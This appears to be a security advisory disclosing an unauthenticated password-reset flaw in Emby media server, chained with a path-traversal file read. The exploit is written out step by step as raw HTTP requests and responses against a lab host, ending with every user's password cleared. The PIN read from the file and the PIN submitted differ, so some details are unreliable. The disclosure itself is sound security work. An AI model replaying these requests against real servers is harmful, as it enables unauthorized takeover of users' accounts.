### SummaryEmby (formerly Media Browser) is a media server designed to organize, play, and stream audio and video to a variety of devices. Emby is open-source, and uses a client-server model. Two comparable media servers are Plex and Windows Media Center.### DescriptionThe issue can be triggered by an unauthenticated actor within the home network (LAN) only. The attacker doesn't need to specify a valid username to reset the password. He or she can enter a random string, and using the file disclosure issue it's possible to read the PIN needed for resetting. This in turn will disclose all the valid usernames in the emby server and reset all the passwords for all the users with a blank password. Attackers can exploit this to gain unauthenticated and unauthorized access to the emby media server management interface.### VendorEmby LLC – https://www.emby.media### Affected Version* 3.2.5* 3.1.5* 3.1.2* 3.1.1* 3.1.0* 3.0.0### Tested On* Microsoft Windows 7 Professional SP1 (EN)* Mono-HTTPAPI/1.1, UPnP/1.0 DLNADOC/1.50* Ubuntu Linux 14.04.5* MacOS Sierra 10.12.3* SQLite3### PoC1.First we initiate the Forgot Password feature from within our home network:“`http://10.211.55.3:8096/web/forgotpassword.html“`2.Then, we type any random username and hit submit:“`POST /emby/Users/ForgotPassword HTTP/1.1Host: 10.211.55.3:8096Connection: keep-aliveContent-Length: 32accept: application/jsonOrigin: http://10.211.55.3:8096User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36x-emby-authorization: MediaBrowser Client="Emby Mobile", Device="Chrome", DeviceId="3848bd099140288b429e5189456c7354b531fc6b", Version="3.2.5.0"content-type: application/x-www-form-urlencoded; charset=UTF-8Referer: http://10.211.55.3:8096/web/forgotpassword.htmlAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.8,mk;q=0.6DNT: 1EnteredUsername=RandomusUsuarius“`3.You will get an alert message (Windows/Linux):The following file has been created on your server and contains instructions on how to proceed:`C:\Users\lqwrm\AppData\Roaming\\Emby-Server\passwordreset.txt`– OR –`/var/lib/emby-server/passwordreset.txt`4.Exploiting the file disclosure vulnerability (ZSL-2017-5403):“`GET /emby/swagger-ui/..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Users\lqwrm\AppData\Roaming\Emby-Server\passwordreset.txt HTTP/1.1Host: 10.211.55.3:8096Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflate, sdchAccept-Language: en-US,en;q=0.8Connection: close“““HTTP/1.1 200 OKX-UA-Compatible: IE=EdgeAccess-Control-Allow-Headers: Content-Type, Authorization, Range, X-MediaBrowser-Token, X-Emby-AuthorizationAccess-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONSAccess-Control-Allow-Origin: *Vary: Accept-EncodingETag: "c4fd834ac2fc99ff99d74c8e994a8a71"Cache-Control: publicExpires: -1Server: Mono-HTTPAPI/1.1, UPnP/1.0 DLNADOC/1.50Content-Type: text/plainDate: Tue, 28 Feb 2017 12:14:51 GMTContent-Length: 164Connection: close“`Use your web browser to visit:“`http://10.211.55.3:8096/web/forgotpasswordpin.html“`Enter the following pin code:6727The pin code will expire at 915.Following the instructions, entering the PIN, results in resetting all the passwords for all the emby users on the system:“`POST /emby/Users/ForgotPassword/Pin HTTP/1.1Host: 10.211.55.3:8096Connection: keep-aliveContent-Length: 9accept: application/jsonOrigin: http://10.211.55.3:8096User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36x-emby-authorization: MediaBrowser Client="Emby Mobile", Device="Chrome", DeviceId="3848bd099140288b429e5189456c7354b531fc6b", Version="3.2.5.0"content-type: application/x-www-form-urlencoded; charset=UTF-8Referer: http://10.211.55.3:8096/web/forgotpasswordpin.htmlAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.8,mk;q=0.6DNT: 1Pin=6272“`We get the message:Passwords have been removed for the following users. To login, sign in with a blank password.“`testingustest321beebeeadminztefanliomikodniembyusertestjoxypoxytest123thricerteppeiadmin2delf1na“`
